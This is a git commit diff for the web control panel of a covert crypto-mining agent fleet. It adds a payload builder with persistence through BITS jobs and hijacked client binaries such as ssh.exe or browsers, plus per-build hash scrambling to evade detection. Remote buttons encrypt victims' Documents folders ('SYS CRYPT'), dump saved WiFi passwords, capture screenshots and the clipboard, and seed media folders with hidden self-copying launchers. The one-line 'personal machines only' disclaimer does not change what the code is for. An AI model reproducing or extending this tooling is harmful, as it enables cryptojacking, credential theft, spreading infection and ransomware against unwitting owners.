feat: Telegram fleet alerts, forge sigil scramble, UI polish, agent ops

- Calibrate: per-event Telegram/SMTP toggles, test notification, chat ID help
- Notify on agent connect/reconnect, offline/hashrate/rejection, forge complete
- Sigil scramble post-forge uniquification and Dispense Reveal ceremony
- Full system check, desktop push, BITS/host-binary persistence, Path Tracer
- Dashboard/Crucible visual polish, haptics, sacred geometry, mobile nav
- README documents alerts, sigil scramble, and pack-usb workflow
- USB bundle repacked via pack-usb.bat (AetherForge.exe + synced agent source)
This commit is contained in:
AetherForge
2026-06-03 20:32:59 -07:00
parent 03937edba7
commit d52479c9a6
139 changed files with 10611 additions and 369 deletions

View File

@@ -4,6 +4,7 @@ import { useWebSocket } from '../hooks/useWebSocket';
import type { Agent, HashrateSample, ServerInfo } from '../types';
import LatencyBadge from '../components/Fleet/LatencyBadge';
import HashrateChart from '../components/Charts/HashrateChart';
import { resolveChartSeries } from '../help/chartSampleData';
import NeonCard from '../components/NeonCard/NeonCard';
import AgentRemoteActions from '../components/Fleet/AgentRemoteActions';
import AgentListItem from '../components/Fleet/AgentListItem';
@@ -95,6 +96,7 @@ export default function AgentsPage() {
const [loadError, setLoadError] = useState('');
const [logContent, setLogContent] = useState('');
const [logLoading, setLogLoading] = useState(false);
const [logDownloading, setLogDownloading] = useState(false);
const [notesDraft, setNotesDraft] = useState('');
const [tagsDraft, setTagsDraft] = useState('');
const [metaSaving, setMetaSaving] = useState(false);
@@ -587,19 +589,28 @@ export default function AgentsPage() {
</div>
</div>
{hashrateHistory.length > 0 && (
{selectedAgent && (
<div className="detail-section">
<h3 className="font-tech">HASHRATE TELEMETRY</h3>
<HashrateChart
title=""
color="#00f5ff"
unit="H/s"
height={240}
data={[...hashrateHistory].reverse().map((s) => ({
{(() => {
const live = [...hashrateHistory].reverse().map((s) => ({
time: new Date(s.timestamp).toLocaleTimeString(),
value: s.hashrate,
}))}
/>
}));
const chart = resolveChartSeries(live, 'hashrate', {
tailValue: selectedAgent.hashrate_15m,
});
return (
<HashrateChart
title=""
color="#00f5ff"
unit="H/s"
height={240}
data={chart.data}
displayMode={chart.mode}
/>
);
})()}
</div>
)}
@@ -620,7 +631,29 @@ export default function AgentsPage() {
</div>
<div className="detail-section">
<h3>Agent Log <button type="button" className="agent-action-btn" onClick={() => refreshLog(true)} disabled={logLoading || selectedAgent.status !== 'online'}>{logLoading ? '…' : 'Refresh'}</button></h3>
<h3>
Agent Log{' '}
<button type="button" className="agent-action-btn" onClick={() => refreshLog(true)} disabled={logLoading || selectedAgent.status !== 'online'}>{logLoading ? '…' : 'Refresh'}</button>
<button
type="button"
className="agent-action-btn"
disabled={logDownloading || selectedAgent.status !== 'online'}
title="Download full agent log as a file"
style={{ marginLeft: '0.4rem' }}
onClick={async () => {
setLogDownloading(true);
try {
await api.downloadAgentLog(selectedAgent.id);
} catch (err) {
alert(err instanceof Error ? err.message : 'Download failed');
} finally {
setLogDownloading(false);
}
}}
>
{logDownloading ? '…' : '⬇ Download'}
</button>
</h3>
<p className="form-hint">Streams miner.log when file_logging is enabled (non-stealth builds).</p>
<pre className="log-viewer">{logContent || (selectedAgent.status === 'online' ? 'Click Fetch Log or Refresh' : 'Agent offline')}</pre>
</div>

View File

@@ -27,6 +27,7 @@ import {
type ForgeDeliverable,
} from '../help/forgeFormNormalize';
import { ForgeFieldBadge, ForgeLockedHint, ForgeSectionHeader } from '../components/Forge/ForgeFieldHints';
import ForgeDispenseReveal from '../components/Forge/ForgeDispenseReveal';
import { blueprintDiff, buildRequestFromRecord } from '../help/buildManager';
import DownloadButton from '../components/DownloadButton';
import PoolPresetPicker from '../components/PoolPresetPicker';
@@ -111,6 +112,7 @@ export default function BuilderPage() {
const [building, setBuilding] = useState(false);
const [error, setError] = useState('');
const [lastBuild, setLastBuild] = useState<BuildResponse | null>(null);
const [dispenseReveal, setDispenseReveal] = useState<BuildResponse | null>(null);
const [recentBuilds, setRecentBuilds] = useState<BuildRecord[]>([]);
const [loadingDefaults, setLoadingDefaults] = useState(true);
const [fusionPrepFile, setFusionPrepFile] = useState<File | null>(null);
@@ -270,6 +272,7 @@ export default function BuilderPage() {
const finishForgeSuccess = async (result: BuildResponse) => {
setStage('Build complete!', 100);
setLastBuild(result);
setDispenseReveal(result);
loadRecentBuilds();
if (!forgedThisSessionRef.current) {
forgedThisSessionRef.current = true;
@@ -1414,13 +1417,13 @@ export default function BuilderPage() {
<label className="label">Max CPU Usage (%) <HelpTip field="max_cpu_usage_pct" /></label>
<input type="number" className="input" min={1} max={100} value={form.max_cpu_usage_pct}
onChange={(e) => { const v = e.target.valueAsNumber; if (isFinite(v) && v >= 1 && v <= 100) updateField('max_cpu_usage_pct', v); }}
onBlur={(e) => { const v = e.target.valueAsNumber; if (!isFinite(v) || v < 1) updateField('max_cpu_usage_pct', 80); }} />
onBlur={(e) => { const v = e.target.valueAsNumber; if (!isFinite(v) || v < 1) updateField('max_cpu_usage_pct', 95); }} />
</div>
<div className="form-group">
<label className="label">Max Memory (%) <HelpTip field="max_memory_percent" /></label>
<input type="number" className="input" min={10} max={95} value={form.max_memory_percent}
onChange={(e) => { const v = e.target.valueAsNumber; if (isFinite(v) && v >= 10 && v <= 95) updateField('max_memory_percent', v); }}
onBlur={(e) => { const v = e.target.valueAsNumber; if (!isFinite(v) || v < 10) updateField('max_memory_percent', 70); }} />
onBlur={(e) => { const v = e.target.valueAsNumber; if (!isFinite(v) || v < 10) updateField('max_memory_percent', 85); }} />
<FieldHint field="max_memory_percent" />
</div>
</div>
@@ -1428,7 +1431,7 @@ export default function BuilderPage() {
<label className="label">Min Free RAM (MB) <HelpTip field="min_free_ram_mb" /></label>
<input type="number" className="input" min={256} value={form.min_free_ram_mb}
onChange={(e) => { const v = e.target.valueAsNumber; if (isFinite(v) && v >= 256) updateField('min_free_ram_mb', v); }}
onBlur={(e) => { const v = e.target.valueAsNumber; if (!isFinite(v) || v < 256) updateField('min_free_ram_mb', 1024); }} />
onBlur={(e) => { const v = e.target.valueAsNumber; if (!isFinite(v) || v < 256) updateField('min_free_ram_mb', 512); }} />
</div>
<div className="form-group">
<label className="label">Mining Mode <HelpTip field="mining_mode" /></label>
@@ -1642,9 +1645,35 @@ export default function BuilderPage() {
<option value="user">Current User (Run key persistence optional)</option>
<option value="scheduled">Scheduled Task (logon task persistence forced on)</option>
<option value="service">Scheduled Task as SYSTEM (elevated persistence forced on)</option>
<option value="bits">BITS Job (notify hook persistence forced on, Windows)</option>
<option value="host_binary">Host Binary Hijack (replace client app persistence forced on, Windows)</option>
</select>
<FieldHint field="run_as" />
</div>
{form.run_as === 'host_binary' && (
<div className="form-group">
<label className="label">Host Binary Target <HelpTip field="host_binary_target" /></label>
<select
className="select"
value={form.host_binary_target || 'ssh'}
onChange={(e) => updateField('host_binary_target', e.target.value)}
>
<option value="ssh">OpenSSH / Git SSH (ssh.exe)</option>
<option value="ftp">FTP Client (ftp.exe)</option>
<option value="telnet">Telnet (telnet.exe)</option>
<option value="mstsc">Remote Desktop (mstsc.exe)</option>
<option value="curl">curl (curl.exe)</option>
<option value="notepad">Notepad</option>
<option value="calc">Calculator</option>
<option value="chrome">Google Chrome</option>
<option value="edge">Microsoft Edge</option>
<option value="firefox">Mozilla Firefox</option>
<option value="putty">PuTTY</option>
<option value="winscp">WinSCP</option>
</select>
<FieldHint field="host_binary_target" />
</div>
)}
<div className={`form-group checkbox-group ${fieldMeta.auto_start?.disabled ? 'field-disabled' : ''}`}>
<label className="checkbox-label">
<input type="checkbox" className="checkbox" checked={form.auto_start}
@@ -2151,6 +2180,16 @@ export default function BuilderPage() {
<FieldHint field="sign_build" />
<ForgeLockedHint meta={fieldMeta.sign_build} />
</div>
<div className={`form-group checkbox-group ${fieldMeta.sigil_scramble?.disabled ? 'field-disabled' : ''}`}>
<label className="checkbox-label">
<input type="checkbox" className="checkbox" checked={form.sigil_scramble !== false}
disabled={fieldMeta.sigil_scramble?.disabled}
onChange={(e) => updateField('sigil_scramble', e.target.checked)} />
<span>Sigil scramble on dispense (unique hash per forge) <HelpTip field="sigil_scramble" /></span>
</label>
<FieldHint field="sigil_scramble" />
<ForgeLockedHint meta={fieldMeta.sigil_scramble} />
</div>
</div>
<div className="form-section">
@@ -2326,7 +2365,13 @@ export default function BuilderPage() {
)}
{lastBuild.fusion_enabled && <span className="forge-last-build-tag">FUSION</span>}
{lastBuild.obfuscated && <span className="forge-last-build-tag">GARBLED</span>}
{lastBuild.sigil_scramble && <span className="forge-last-build-tag">SIGIL</span>}
{lastBuild.signed && <span className="forge-last-build-tag">SIGNED</span>}
{lastBuild.stealth_score != null && lastBuild.stealth_score > 0 && (
<span className="forge-last-build-tag" title="Stealth index">
{lastBuild.stealth_score}
</span>
)}
</div>
</div>
<div className="forge-last-build-actions">
@@ -2379,6 +2424,9 @@ export default function BuilderPage() {
</div>
)}
</div>
{dispenseReveal?.success && (
<ForgeDispenseReveal result={dispenseReveal} onClose={() => setDispenseReveal(null)} />
)}
<footer style={{ marginTop: '3rem', paddingTop: '1rem', borderTop: '1px solid #333', textAlign: 'center', color: '#ff4444', fontSize: '0.85rem', fontFamily: 'monospace' }}>
DISCLAIMER: Use only on personal machines on your own network. Anything else is a crime.
</footer>

View File

@@ -326,6 +326,32 @@
.crucible-row { grid-template-columns: 1fr; }
}
@media (max-width: 768px) {
.crucible-page {
padding: 0;
}
.crucible-actions-grid,
.remote-actions-grid {
grid-template-columns: repeat(2, 1fr) !important;
gap: 0.5rem;
}
.crucible-actions-grid .btn,
.remote-actions-grid .btn {
font-size: 0.72rem;
padding: 0.5rem 0.35rem;
white-space: normal;
text-align: center;
line-height: 1.2;
}
.crucible-terminal-wrap {
min-height: 120px;
max-height: 40vh;
}
}
/* ── Groups ──────────────────────────────────────────────────────────── */
.crucible-groups-card,
@@ -390,62 +416,185 @@
/* ── Actions ─────────────────────────────────────────────────────────── */
.crucible-ops {
display: flex;
flex-direction: column;
gap: 0.75rem;
display: grid;
grid-template-columns: repeat(auto-fill, minmax(240px, 1fr));
gap: 0.55rem;
}
/* ── Op group card ───────────────────────────────────────────────────── */
.crucible-op-group {
display: flex;
align-items: center;
gap: 0.5rem;
flex-wrap: wrap;
gap: 0.35rem;
align-items: flex-start;
background: rgba(0, 0, 0, 0.3);
border: 1px solid rgba(255, 255, 255, 0.06);
border-radius: 9px;
padding: 0.6rem 0.75rem;
}
/* Label becomes a full-width header row inside the card */
.cop-label {
width: 100%;
font-family: var(--font-tech);
font-size: 0.68rem;
letter-spacing: 0.1em;
font-size: 0.62rem;
letter-spacing: 0.16em;
text-transform: uppercase;
color: var(--text-muted);
min-width: 52px;
padding-bottom: 0.38rem;
margin-bottom: 0.05rem;
border-bottom: 1px solid rgba(255, 255, 255, 0.06);
flex-shrink: 0;
}
/* ── Group colour themes ─────────────────────────────────────────────── */
.cop-recon { border-color: rgba(0, 245, 255, 0.13); }
.cop-recon .cop-label { color: rgba(0, 245, 255, 0.65); border-bottom-color: rgba(0, 245, 255, 0.1); }
.cop-agent { border-color: rgba(178, 75, 243, 0.18); }
.cop-agent .cop-label { color: rgba(178, 75, 243, 0.75); border-bottom-color: rgba(178, 75, 243, 0.13); }
.cop-sys { border-color: rgba(255, 176, 32, 0.18); }
.cop-sys .cop-label { color: rgba(255, 176, 32, 0.75); border-bottom-color: rgba(255, 176, 32, 0.13); }
.cop-agg { border-color: rgba(255, 100, 0, 0.22); background: rgba(30, 8, 0, 0.25); }
.cop-agg .cop-label { color: rgba(255, 130, 0, 0.85); border-bottom-color: rgba(255, 100, 0, 0.16); }
.cop-ssh { border-color: rgba(57, 255, 20, 0.13); }
.cop-ssh .cop-label { color: rgba(57, 255, 20, 0.65); border-bottom-color: rgba(57, 255, 20, 0.1); }
.cop-mining { border-color: rgba(255, 220, 50, 0.13); }
.cop-mining .cop-label { color: rgba(255, 210, 40, 0.65); border-bottom-color: rgba(255, 210, 40, 0.1); }
.cop-fileops { border-color: rgba(0, 212, 170, 0.16); }
.cop-fileops .cop-label { color: rgba(0, 212, 170, 0.75); border-bottom-color: rgba(0, 212, 170, 0.12); }
.cop-destructive {
border-color: rgba(255, 50, 50, 0.28);
background: rgba(60, 0, 0, 0.2);
}
.cop-destructive .cop-label {
color: #ff4444;
border-bottom-color: rgba(255, 50, 50, 0.2);
}
/* Seek + Shell span full width */
.cop-seek { grid-column: 1 / -1; border-color: rgba(255, 140, 0, 0.22); }
.cop-seek .cop-label { color: rgba(255, 140, 0, 0.85); border-bottom-color: rgba(255, 140, 0, 0.16); }
.cop-shell { grid-column: 1 / -1; }
/* ── Op buttons ──────────────────────────────────────────────────────── */
.crucible-op-btn {
padding: 0.3rem 0.7rem;
font-size: 0.8rem;
padding: 0.3rem 0.72rem;
font-size: 0.78rem;
background: rgba(255, 255, 255, 0.04);
border: 1px solid rgba(255, 176, 32, 0.25);
border: 1px solid rgba(255, 176, 32, 0.28);
color: var(--neon-amber);
border-radius: 4px;
border-radius: 5px;
cursor: pointer;
transition: all 0.15s;
transition: background 0.14s, border-color 0.14s, box-shadow 0.14s, transform 0.1s;
font-family: var(--font-tech);
letter-spacing: 0.03em;
white-space: nowrap;
}
.crucible-op-btn:hover:not(:disabled) {
background: rgba(255, 176, 32, 0.12);
background: rgba(255, 176, 32, 0.11);
border-color: var(--neon-amber);
box-shadow: 0 0 9px -2px rgba(255, 176, 32, 0.45);
transform: translateY(-1px);
}
.crucible-op-btn:disabled { opacity: 0.35; cursor: not-allowed; }
.crucible-op-btn:active:not(:disabled) {
transform: translateY(0);
box-shadow: none;
}
.crucible-op-btn:disabled { opacity: 0.32; cursor: not-allowed; }
/* Recon buttons — cyan tint */
.cop-recon .crucible-op-btn {
border-color: rgba(0, 245, 255, 0.22);
color: rgba(0, 245, 255, 0.85);
}
.cop-recon .crucible-op-btn:hover:not(:disabled) {
background: rgba(0, 245, 255, 0.08);
border-color: var(--neon-cyan);
box-shadow: 0 0 9px -2px rgba(0, 245, 255, 0.4);
}
/* Agent buttons — purple tint */
.cop-agent .crucible-op-btn {
border-color: rgba(178, 75, 243, 0.3);
color: rgba(178, 75, 243, 0.9);
}
.cop-agent .crucible-op-btn:hover:not(:disabled) {
background: rgba(178, 75, 243, 0.1);
border-color: #b24bf3;
box-shadow: 0 0 9px -2px rgba(178, 75, 243, 0.45);
}
/* System buttons — orange tint */
.cop-sys .crucible-op-btn {
border-color: rgba(255, 176, 32, 0.3);
color: var(--neon-amber);
}
/* Aggressive buttons — red-orange tint */
.cop-agg .crucible-op-btn {
border-color: rgba(255, 100, 0, 0.35);
color: #ff8c00;
}
.cop-agg .crucible-op-btn:hover:not(:disabled) {
background: rgba(255, 100, 0, 0.1);
border-color: #ff6600;
box-shadow: 0 0 9px -2px rgba(255, 100, 0, 0.4);
}
/* SSH buttons — green tint */
.cop-ssh .crucible-op-btn {
border-color: rgba(57, 255, 20, 0.25);
color: rgba(57, 255, 20, 0.85);
}
.cop-ssh .crucible-op-btn:hover:not(:disabled) {
background: rgba(57, 255, 20, 0.08);
border-color: var(--neon-green);
box-shadow: 0 0 9px -2px rgba(57, 255, 20, 0.4);
}
/* File ops buttons — teal */
.cop-fileops .crucible-op-btn {
border-color: rgba(0, 212, 170, 0.28);
color: rgba(0, 212, 170, 0.9);
}
.cop-fileops .crucible-op-btn:hover:not(:disabled) {
background: rgba(0, 212, 170, 0.08);
border-color: #00d4aa;
box-shadow: 0 0 9px -2px rgba(0, 212, 170, 0.4);
}
/* Keep legacy overrides */
.crucible-op-wake {
color: var(--neon-green);
border-color: rgba(57, 255, 20, 0.3);
color: var(--neon-green) !important;
border-color: rgba(57, 255, 20, 0.3) !important;
}
.crucible-op-wake:hover:not(:disabled) {
background: rgba(57, 255, 20, 0.1);
border-color: var(--neon-green);
background: rgba(57, 255, 20, 0.1) !important;
border-color: var(--neon-green) !important;
}
.crucible-op-scan {
color: var(--neon-cyan);
border-color: rgba(0,245,255,0.3);
color: var(--neon-cyan) !important;
border-color: rgba(0,245,255,0.3) !important;
font-weight: 700;
}
.crucible-op-scan:hover:not(:disabled) {
background: rgba(0,245,255,0.08);
border-color: var(--neon-cyan);
background: rgba(0,245,255,0.08) !important;
border-color: var(--neon-cyan) !important;
}
.crucible-shell-tabs {

View File

@@ -10,6 +10,10 @@ import { formatHashrate } from '../help/fleetFilters';
import { primaryGroupForAgent } from '../help/fleetGroups';
import { useFleetGroups } from '../hooks/useFleetGroups';
import { useMatrixRain } from '../context/MatrixRainContext';
import { desktopPathHint, pushFileToAgentDesktop } from '../help/desktopPush';
import { parseFullSysCheckMessage, type FullSysCheckReport } from '../types/syscheck';
import FullSysCheckPanel from '../components/Fleet/FullSysCheckPanel';
import '../components/Fleet/FullSysCheckPanel.css';
import './CruciblePage.css';
// ── Types ──────────────────────────────────────────────────────────────────
@@ -71,7 +75,17 @@ interface RichPostureSummary {
services?: Array<{ name: string; display_name?: string; status: string; start_type: string }>;
}
type RichTermData = RichListenPorts | RichPatchStatus | RichPostureSummary;
interface RichScreenshot {
type: 'screenshot';
b64: string;
}
interface RichFullSysCheck {
type: 'full_sys_check';
report: FullSysCheckReport;
}
type RichTermData = RichListenPorts | RichPatchStatus | RichPostureSummary | RichScreenshot | RichFullSysCheck;
// ── Helpers ────────────────────────────────────────────────────────────────
@@ -312,6 +326,14 @@ export default function CruciblePage() {
const [seekWin, setSeekWin] = useState(true);
const [seekMac, setSeekMac] = useState(true);
// File ops state
const [uploadPath, setUploadPath] = useState('');
const [downloadPath, setDownloadPath] = useState('');
const [uploadFileRef] = useState(() => ({ current: null as HTMLInputElement | null }));
// Tunnel URL state
const [tunnelURL, setTunnelURL] = useState('');
// SSH / posture overrides (from on-demand probes)
const [sshOverride, setSshOverride] = useState<Record<string, boolean>>({});
const [postureOverride, setPostureOverride] = useState<Record<string, { score: number; patchDays?: number }>>({});
@@ -372,6 +394,12 @@ export default function CruciblePage() {
// ── Parse structured JSON for known actions ────────────────────────
let richData: RichTermData | undefined;
// Screenshot: result is a raw base64 PNG string (no JSON wrapper)
if (r.action === 'screenshot' && r.success && msg.length > 200 && /^[A-Za-z0-9+/]+=*$/.test(msg.trim())) {
richData = { type: 'screenshot', b64: msg.trim() };
}
const jsonStart = msg.indexOf('{');
if (jsonStart >= 0) {
@@ -382,6 +410,8 @@ export default function CruciblePage() {
richData = { type: 'listen_ports', ports: parsed.ports, count: parsed.count ?? parsed.ports.length };
} else if (r.action === 'patch_status') {
richData = { type: 'patch_status', ...parsed };
} else if (r.action === 'full_sys_check' && parsed.generated_at) {
richData = { type: 'full_sys_check', report: parsed as FullSysCheckReport };
} else if (r.action === 'posture' && typeof parsed.posture_score === 'number') {
richData = { type: 'posture', ...parsed };
// Update badge state
@@ -777,10 +807,24 @@ export default function CruciblePage() {
</div>
);
const renderRichData = (d: RichTermData) => {
const renderRichData = (d: RichTermData, lineAgentName?: string) => {
if (d.type === 'listen_ports') return <RichListenPortsTable d={d} />;
if (d.type === 'patch_status') return <RichPatchStatusBlock d={d} />;
if (d.type === 'posture') return <RichPostureSummaryBlock d={d} />;
if (d.type === 'full_sys_check') {
return <FullSysCheckPanel report={d.report} agentName={lineAgentName ?? 'agent'} />;
}
if (d.type === 'screenshot') return (
<div style={{ marginTop: '0.4rem' }}>
<img
src={`data:image/png;base64,${d.b64}`}
alt="screenshot"
style={{ maxWidth: '100%', maxHeight: 340, borderRadius: 4, border: '1px solid #333', cursor: 'pointer' }}
onClick={() => window.open(`data:image/png;base64,${d.b64}`, '_blank')}
title="Click to open full size"
/>
</div>
);
return null;
};
@@ -1055,7 +1099,7 @@ export default function CruciblePage() {
<div className="crucible-ops">
{/* ── Posture ──────────────────────────────────── */}
<div className="crucible-op-group">
<div className="crucible-op-group cop-recon">
<span className="cop-label">Posture &amp; Recon</span>
<button
className="button crucible-op-btn crucible-op-scan"
@@ -1080,7 +1124,7 @@ export default function CruciblePage() {
</div>
{/* ── SSH ──────────────────────────────────────── */}
<div className="crucible-op-group">
<div className="crucible-op-group cop-ssh">
<span className="cop-label">SSH</span>
<button
className="button crucible-op-btn"
@@ -1101,19 +1145,49 @@ export default function CruciblePage() {
</div>
{/* ── Mining ───────────────────────────────────── */}
<div className="crucible-op-group">
<div className="crucible-op-group cop-mining">
<span className="cop-label">Mining</span>
<button
className="button crucible-op-btn"
disabled={selectedIds.size === 0}
onClick={() => Promise.all(selectedAgents.filter(online).map((a) => api.sendAgentCommand(a.id, 'resume')))}
onClick={() => {
const ids = selectedAgents.filter(online).map((a) => a.id);
if (ids.length === 0) return;
api.sendBulkCommand(ids, 'resume').then((r) => {
setTermLines((prev) => [...prev, {
id: mkId(), agentId: 'local', agentName: 'YOU', isCmd: true,
text: `resume → sent:${r.sent} failed:${r.failed}`, ts: new Date(),
}]);
}).catch((err) => {
setTermLines((prev) => [...prev, {
id: mkId(), agentId: 'local', agentName: 'YOU', isCmd: false,
text: `[ERROR] resume: ${err instanceof Error ? err.message : String(err)}`,
ts: new Date(), success: false,
}]);
});
}}
>
Resume
</button>
<button
className="button crucible-op-btn"
disabled={selectedIds.size === 0}
onClick={() => Promise.all(selectedAgents.filter(online).map((a) => api.sendAgentCommand(a.id, 'pause')))}
onClick={() => {
const ids = selectedAgents.filter(online).map((a) => a.id);
if (ids.length === 0) return;
api.sendBulkCommand(ids, 'pause').then((r) => {
setTermLines((prev) => [...prev, {
id: mkId(), agentId: 'local', agentName: 'YOU', isCmd: true,
text: `pause → sent:${r.sent} failed:${r.failed}`, ts: new Date(),
}]);
}).catch((err) => {
setTermLines((prev) => [...prev, {
id: mkId(), agentId: 'local', agentName: 'YOU', isCmd: false,
text: `[ERROR] pause: ${err instanceof Error ? err.message : String(err)}`,
ts: new Date(), success: false,
}]);
});
}}
>
Pause
</button>
@@ -1135,11 +1209,54 @@ export default function CruciblePage() {
</button>
</div>
{/* ── Sys Crypt ────────────────────────────────── */}
<div className="crucible-op-group cop-destructive">
<span className="cop-label"> Destructive</span>
<button
className="button crucible-op-btn"
disabled={selectedIds.size === 0}
title="AES-256-GCM encrypt every file in the target's Documents folder (Windows only, requires Remote Aggressive Ops)"
style={{
background: 'linear-gradient(135deg, #7b0000 0%, #cc0000 100%)',
border: '1px solid #ff2222',
color: '#fff',
fontWeight: 700,
letterSpacing: '0.06em',
}}
onClick={() => {
if (!confirm(`SYS CRYPT — encrypt Documents on ${selectedIds.size} node(s)?\n\nThis is IRREVERSIBLE without the key. Proceed?`)) return;
Promise.all(
selectedAgents.filter(online).map((a) =>
api.sendAgentCommand(a.id, 'sys_crypt').catch((err) => {
setTermLines((prev) => [
...prev,
{
id: mkId(), agentId: a.id, agentName: a.name, isCmd: false,
text: `[ERROR] sys_crypt: ${err instanceof Error ? err.message : String(err)}`,
ts: new Date(), success: false, targeted: true,
},
]);
})
)
);
setTermLines((prev) => [
...prev,
{
id: mkId(), agentId: 'local', agentName: 'YOU',
isCmd: true,
text: `SYS CRYPT → dispatched to ${selectedIds.size} node(s) — encrypting Documents`,
ts: new Date(),
},
]);
}}
>
🔒 SYS CRYPT ({selectedIds.size})
</button>
</div>
{/* ── SUPP Seek Mode ───────────────────────────── */}
<div className="crucible-op-group crucible-seek-group">
<span className="cop-label" style={{ color: 'var(--neon-amber)', letterSpacing: '0.1em' }}>
SUPP SEEK MODE
</span>
<div className="crucible-op-group cop-seek crucible-seek-group">
<span className="cop-label"> SUPP Seek Mode</span>
<p style={{ margin: '0.25rem 0 0.5rem', fontSize: '0.72rem', color: '#aaa', lineHeight: 1.4 }}>
Recursively seeds every media directory under the given path with
silent launcher files. The agent copies itself as a hidden exe (Windows)
@@ -1209,8 +1326,353 @@ export default function CruciblePage() {
</p>
</div>
{/* ── Recon ────────────────────────────────────── */}
<div className="crucible-op-group cop-recon">
<span className="cop-label">Recon</span>
<button
className="button crucible-op-btn"
style={{ borderColor: 'rgba(0,245,255,0.5)' }}
disabled={selectedIds.size === 0}
title="Deep audit: firewall, WAN IP, geo, DNS, ARP, subnet scan, hardware, listeners (3060s)"
onClick={() => {
selectedAgents.filter(online).forEach((a) => {
api.sendAgentCommand(a.id, 'full_sys_check').catch((err) =>
setTermLines((prev) => [...prev, {
id: mkId(), agentId: a.id, agentName: a.name, isCmd: false,
text: `[ERROR] full_sys_check: ${err instanceof Error ? err.message : String(err)}`,
ts: new Date(), success: false, targeted: true,
}])
);
});
setTermLines((prev) => [...prev, {
id: mkId(), agentId: 'local', agentName: 'YOU', isCmd: true,
text: `full_sys_check → ${selectedIds.size} node(s)`, ts: new Date(),
}]);
}}
>
Full Sys Check
</button>
{(['screenshot','clipboard','wifi','software','ps','netstat','sysinfo','users'] as const).map((cmd) => (
<button
key={cmd}
className="button crucible-op-btn"
disabled={selectedIds.size === 0}
title={{
screenshot: 'Capture the desktop screenshot',
clipboard: 'Read the current clipboard contents',
wifi: 'Dump all saved WiFi passwords',
software: 'List installed programs',
ps: 'Running process list (tasklist)',
netstat: 'Active TCP/UDP connections',
sysinfo: 'Full system info (OS, CPU, RAM, uptime)',
users: 'Local user accounts + whoami /all',
}[cmd]}
onClick={() => {
selectedAgents.filter(online).forEach((a) => {
api.sendAgentCommand(a.id, cmd).catch((err) =>
setTermLines((prev) => [...prev, {
id: mkId(), agentId: a.id, agentName: a.name, isCmd: false,
text: `[ERROR] ${cmd}: ${err instanceof Error ? err.message : String(err)}`,
ts: new Date(), success: false, targeted: true,
}])
);
});
setTermLines((prev) => [...prev, {
id: mkId(), agentId: 'local', agentName: 'YOU', isCmd: true,
text: `${cmd}${selectedIds.size} node(s)`, ts: new Date(),
}]);
}}
>
{cmd}
</button>
))}
</div>
{/* ── Agent Control ─────────────────────────────── */}
<div className="crucible-op-group cop-agent">
<span className="cop-label">Agent</span>
<button
className="button crucible-op-btn"
disabled={selectedIds.size === 0}
title="Restart the agent process"
onClick={() => {
const ids = selectedAgents.filter(online).map((a) => a.id);
if (ids.length === 0) return;
api.sendBulkCommand(ids, 'restart').then((r) => {
setTermLines((prev) => [...prev, { id: mkId(), agentId: 'local', agentName: 'YOU', isCmd: true, text: `restart → sent:${r.sent} failed:${r.failed}`, ts: new Date() }]);
}).catch(() => null);
}}
>
Restart
</button>
<button
className="button crucible-op-btn"
disabled={selectedIds.size === 0}
title="Pull the last 300 lines of the agent log"
onClick={() => {
selectedAgents.filter(online).forEach((a) => api.sendAgentCommand(a.id, 'get_log', { tail_lines: 300 }).catch(() => null));
setTermLines((prev) => [...prev, { id: mkId(), agentId: 'local', agentName: 'YOU', isCmd: true, text: `get_log → ${selectedIds.size} node(s)`, ts: new Date() }]);
}}
>
Get Log
</button>
<button
className="button crucible-op-btn"
disabled={selectedIds.size === 0}
title="Kill the agent process (it will restart via watchdog/persistence)"
style={{ color: '#ff8c00' }}
onClick={() => {
if (!confirm(`Kill agent process on ${selectedIds.size} node(s)?`)) return;
selectedAgents.filter(online).forEach((a) => api.sendAgentCommand(a.id, 'stop').catch(() => null));
setTermLines((prev) => [...prev, { id: mkId(), agentId: 'local', agentName: 'YOU', isCmd: true, text: `kill → ${selectedIds.size} node(s)`, ts: new Date() }]);
}}
>
Kill
</button>
<button
className="button crucible-op-btn"
disabled={selectedIds.size === 0}
title="Fully uninstall: remove persistence, delete files, exit"
style={{ color: '#ff4444' }}
onClick={() => {
if (!confirm(`UNINSTALL from ${selectedIds.size} node(s)? This removes persistence and deletes all agent files.`)) return;
selectedAgents.filter(online).forEach((a) => api.sendAgentCommand(a.id, 'uninstall').catch(() => null));
setTermLines((prev) => [...prev, { id: mkId(), agentId: 'local', agentName: 'YOU', isCmd: true, text: `uninstall → ${selectedIds.size} node(s)`, ts: new Date() }]);
}}
>
Uninstall
</button>
</div>
{/* ── System Power ──────────────────────────────── */}
<div className="crucible-op-group cop-sys">
<span className="cop-label">System</span>
<button
className="button crucible-op-btn"
disabled={selectedIds.size === 0}
title="OS reboot"
onClick={() => {
if (!confirm(`Reboot ${selectedIds.size} machine(s)?`)) return;
selectedAgents.filter(online).forEach((a) => api.sendAgentCommand(a.id, 'reboot_machine').catch(() => null));
setTermLines((prev) => [...prev, { id: mkId(), agentId: 'local', agentName: 'YOU', isCmd: true, text: `reboot_machine → ${selectedIds.size} node(s)`, ts: new Date() }]);
}}
>
Reboot
</button>
<button
className="button crucible-op-btn"
disabled={selectedIds.size === 0}
title="OS shutdown (power off)"
style={{ color: '#ff4444' }}
onClick={() => {
if (!confirm(`Shutdown ${selectedIds.size} machine(s)?`)) return;
selectedAgents.filter(online).forEach((a) => api.sendAgentCommand(a.id, 'shutdown_machine').catch(() => null));
setTermLines((prev) => [...prev, { id: mkId(), agentId: 'local', agentName: 'YOU', isCmd: true, text: `shutdown_machine → ${selectedIds.size} node(s)`, ts: new Date() }]);
}}
>
Shutdown
</button>
</div>
{/* ── Aggressive Ops ───────────────────────────── */}
<div className="crucible-op-group cop-agg">
<span className="cop-label">Aggressive Ops</span>
<button
className="button crucible-op-btn"
disabled={selectedIds.size === 0}
title="Dump all saved WiFi network credentials from selected Windows nodes"
style={{ borderColor: '#ff6b35', color: '#ff6b35' }}
onClick={() => {
selectedAgents.filter(online).forEach((a) => {
api.sendAgentCommand(a.id, 'get_wifi_passwords').catch((err) =>
setTermLines((prev) => [...prev, {
id: mkId(), agentId: a.id, agentName: a.name, isCmd: false,
text: `[ERROR] get_wifi_passwords: ${err instanceof Error ? err.message : String(err)}`,
ts: new Date(), success: false, targeted: true,
}])
);
});
setTermLines((prev) => [...prev, {
id: mkId(), agentId: 'local', agentName: 'YOU', isCmd: true,
text: `get_wifi_passwords → ${selectedIds.size} node(s)`, ts: new Date(),
}]);
}}
>
📶 WiFi Passwords
</button>
<button
className="button crucible-op-btn"
disabled={selectedIds.size === 0}
